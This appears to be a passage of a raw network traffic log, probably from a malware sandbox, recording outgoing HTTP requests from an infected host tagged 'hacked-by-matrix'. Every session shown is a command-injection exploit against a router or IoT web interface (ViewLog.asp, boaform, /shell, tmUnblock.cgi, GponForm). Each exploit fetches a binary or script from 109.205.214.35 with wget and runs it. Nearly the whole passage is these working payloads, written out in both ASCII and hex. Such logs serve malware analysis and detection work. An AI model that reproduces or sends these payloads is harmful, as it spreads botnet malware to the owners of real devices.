remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:52.332285881 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.13	33276	213.243.27.117	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.227416992 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.13	42888	18.238.74.139	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.331181049 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:48.418914080 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.13	39634	13.32.155.38	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.337433100 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:48.433034897 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.13	52436	169.55.68.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.339195967 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.13	50718	178.253.30.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.360344887 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.13	47256	23.88.60.8	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.591712952 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:48.764811039 CET	200	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 Data Ascii: <html><head><title>401 Authorization Required</title></head><body><center><h1>401 Authorization Required</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.13	38894	181.105.126.211	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.644017935 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:50.092274904 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:50.348925114 CET	161	IN	HTTP/1.1 404 Not Found Server: Boa/0.94.13 Date: Thu, 21 Mar 2024 04:23:01 GMT Content-Type: text/html Content-Length: 126 Connection: close
Mar 21, 2024 05:22:50.349028111 CET	138	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.13	52854	122.112.247.50	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.960577011 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.13	54824	83.96.246.124	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:49.366483927 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:49.908680916 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:50.447341919 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:50.612812996 CET	531	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:22:50 GMT Server: Apache Location: https://evaluaties.hhs.nl/cgi-bin/ViewLog.asp Content-Length: 253 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 76 61 6c 75 61 74 69 65 73 2e 68 68 73 2e 6e 6c 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://evaluaties.hhs.nl/cgi-bin/ViewLog.asp">here</a>.</p></body></html>
Mar 21, 2024 05:22:50.612951994 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:50 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.13	44944	62.29.55.146	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:49.473587990 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.13	34352	172.67.223.109	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:49.476289988 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.13	41218	172.65.140.208	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:49.476454973 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.13	39244	49.0.79.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.143421888 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:51.299315929 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:52.428237915 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:52.825489044 CET	129	IN	HTTP/1.1 200 OK Cache-control:no-cache Content-Type:text/html Transfer-Encoding:chunked Connection:Keep-Alive
Mar 21, 2024 05:22:52.825495958 CET	479	IN	Data Raw: 31 63 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: 1c7<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" http-equiv="Content-T

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.13	60538	62.29.102.7	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.469072104 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.13	46136	62.29.125.174	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.476483107 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.13	48722	118.225.115.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624000072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.13	44178	109.178.12.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624006033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.13	34008	5.73.83.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624017000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.13	49308	212.24.45.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624025106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
